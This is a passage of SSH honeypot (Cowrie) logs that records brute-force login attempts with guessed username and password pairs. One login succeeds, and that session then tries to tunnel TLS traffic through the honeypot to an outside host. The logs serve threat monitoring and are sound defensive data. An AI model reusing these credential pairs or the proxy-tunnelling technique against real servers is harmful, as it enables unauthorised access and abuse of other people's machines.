N.\\xa5\\xb4\\xc3g\\xa60q\\x0fw\\xfa\\xc2\\xf1\\xc6TU\\xe3m%s$`(\\xc3\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032?\\x12C\\x88\\xfc5\\x89\\x8d\\x97\\xdb\\xfa\\x04\\x1cASN\\xdc\\xddHF\\x1eL\\x9fr\\xb3\\x90\\xde\\x9eT\\xa4Z \\xcd\\xb7\\x13\\x97\\x9c3\\x10\\x91\\xa1r\\t\\xdc* \\x1dA\\xb4M\\x8f<\\xc9<\\x90\\xed|F\\x919?\\x14\\xb3\\xc2\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2Z7\\xf1\\xb8 N.\\xa5\\xb4\\xc3g\\xa60q\\x0fw\\xfa\\xc2\\xf1\\xc6TU\\xe3m%s$`(\\xc3\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:16.413879Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:16.882240Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31436,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f32bf13dcc","protocol":"ssh","message":"New connection: 91.92.40.36:31436 (159.203.135.109:22) [session: 10f32bf13dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:18.141435Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert12345","message":"login attempt [ubuntu/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:18.386327Z","src_ip":"91.92.40.36","session":"f931298212f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:19.453209Z","src_ip":"91.92.40.36","session":"10f32bf13dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:19.456674Z","src_ip":"91.92.40.36","session":"10f32bf13dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:21.386303Z","src_ip":"91.92.40.36","session":"f931298212f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"samhain","message":"login attempt [admin/samhain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:25.538414Z","src_ip":"91.92.40.36","session":"10f32bf13dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38366,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee3071c01bf","protocol":"ssh","message":"New connection: 91.92.40.36:38366 (159.203.135.109:22) [session: cee3071c01bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:26.252347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:27.427071Z","src_ip":"91.92.40.36","session":"cee3071c01bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:27.452197Z","src_ip":"91.92.40.36","session":"cee3071c01bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:27.999344Z","src_ip":"91.92.40.36","session":"10f32bf13dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":50313,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c714d20daa","protocol":"ssh","message":"New connection: 23.175.50.52:50313 (10.17.0.5:22) [session: 39c714d20daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:30.521458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:30.526162Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:30.667143Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:32.057862Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38420,"dst_ip":"159.203.135.109","dst_port":22,"session":"b45f2201be55","protocol":"ssh","message":"New connection: 91.92.40.36:38420 (159.203.135.109:22) [session: b45f2201be55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:32.475476Z"}
{"eventid":"cowrie.login.failed","username":"backup","password":"4321","message":"login attempt [backup/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:33.655354Z","src_ip":"91.92.40.36","session":"cee3071c01bf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:34.030378Z","src_ip":"91.92.40.36","session":"b45f2201be55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:34.061321Z","src_ip":"91.92.40.36","session":"b45f2201be55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:36.807803Z","src_ip":"91.92.40.36","session":"cee3071c01bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:39.504022Z","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:39.596546Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xc2\\xa8h\\x1a\\x8cW\\x07\\xeb\\xaay7i\\xb97_\\xfb\\xac\\xf3\\x05\\x17\\xb7u\\xca\\xd3f\\xb5\\x17\\x12\\xb9\\xffm \\xf6\\xba\\xfa\\xa5\\x8b\\xf5Ep^\\x9f\\xe3\\xff\\x04\\xbe\\x97o\\x17\\xee\\xbc\\xdf\\xd5\\xdb\\xbe\\xb1\\x17\\xad\\x05\\x19\\x1a\\xafr\\xdc\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00  0\\xc5N\\xa9z\\xffxWA\\xa0\\xb1\\x80\\xc9V\\xda\\xba\\x03$m=\\xce\\x0ft\\xf2Qdv(\\ni\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xc2\\xa8h\\x1a\\x8cW\\x07\\xeb\\xaay7i\\xb97_\\xfb\\xac\\xf3\\x05\\x17\\xb7u\\xca\\xd3f\\xb5\\x17\\x12\\xb9\\xffm \\xf6\\xba\\xfa\\xa5\\x8b\\xf5Ep^\\x9f\\xe3\\xff\\x04\\xbe\\x97o\\x17\\xee\\xbc\\xdf\\xd5\\xdb\\xbe\\xb1\\x17\\xad\\x05\\x19\\x1a\\xafr\\xdc\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00  0\\xc5N\\xa9z\\xffxWA\\xa0\\xb1\\x80\\xc9V\\xda\\xba\\x03$m=\\xce\\x0ft\\xf2Qdv(\\ni\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:39.599493Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ventas","password":"1234","message":"login attempt [ventas/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:39.623028Z","src_ip":"91.92.40.36","session":"b45f2201be55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:39.998291Z","session":"39c714d20daa","protocol":"ssh"}
